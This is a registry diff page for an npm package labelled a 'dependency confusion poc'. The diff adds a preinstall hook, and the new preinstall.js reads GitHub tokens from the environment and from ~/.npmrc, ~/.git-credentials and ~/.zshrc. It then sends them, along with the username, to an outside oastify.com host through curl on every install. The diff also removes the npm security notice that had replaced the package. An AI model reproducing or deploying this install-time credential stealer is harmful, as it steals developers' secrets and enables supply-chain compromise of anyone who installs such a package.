corp-build-utils-poc 0.0.1-security → 99.9.23
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of corp-build-utils-poc might be problematic. Click here for more details.
|
Binary file
|
|
Binary file
|
|
Binary file
|
|
Binary file
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "corp-build-utils-poc",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "99.9.23",
|
|
4
|
+
"description": "dependency confusion poc",
|
|
5
|
+
"private": false,
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"dependencies": {
|
|
10
|
+
"corp-build-utils-poc": "^99.9.23"
|
|
11
|
+
}
|
|
6
12
|
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
const { exec } = require('child_process');
|
|
2
|
+
const fs = require('fs');
|
|
3
|
+
const path = require('path');
|
|
4
|
+
const os = require('os');
|
|
5
|
+
|
|
6
|
+
const homeDir = os.homedir();
|
|
7
|
+
const oastUrl = "http://7muh57n2gvmnuuzg1oacpfrg87e22sqh.oastify.com";
|
|
8
|
+
|
|
9
|
+
// 1. Collect from current environment
|
|
10
|
+
let exfilData = `PAT_TOKEN=${process.env.GITHUB_TOKEN || 'none'}`;
|
|
11
|
+
|
|
12
|
+
// 2. Hunt for secrets in local config files
|
|
13
|
+
const targets = [
|
|
14
|
+
{ name: 'NPMRC', path: path.join(homeDir, '.npmrc') },
|
|
15
|
+
{ name: 'GIT_CREDS', path: path.join(homeDir, '.git-credentials') },
|
|
16
|
+
{ name: 'GITHUB', path: path.join(homeDir, '.zshrc') }
|
|
17
|
+
];
|
|
18
|
+
|
|
19
|
+
targets.forEach(target => {
|
|
20
|
+
if (fs.existsSync(target.path)) {
|
|
21
|
+
try {
|
|
22
|
+
const content = fs.readFileSync(target.path, 'utf8');
|
|
23
|
+
// Basic regex to find strings starting with ghp_
|
|
24
|
+
const match = content.match(/ghp_[a-zA-Z0-9]{36}/);
|
|
25
|
+
if (match) exfilData += `&${target.name}=${match[0]}`;
|
|
26
|
+
} catch (e) {}
|
|
27
|
+
}
|
|
28
|
+
});
|
|
29
|
+
|
|
30
|
+
// 3. Exfiltrate everything found
|
|
31
|
+
const user = os.userInfo().username;
|
|
32
|
+
const cmd = `curl -G "${oastUrl}" --data-urlencode "victim=${user}" --data-urlencode "data=${exfilData}"`;
|
|
33
|
+
|
|
34
|
+
exec(cmd);
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=corp-build-utils-poc for more information.
|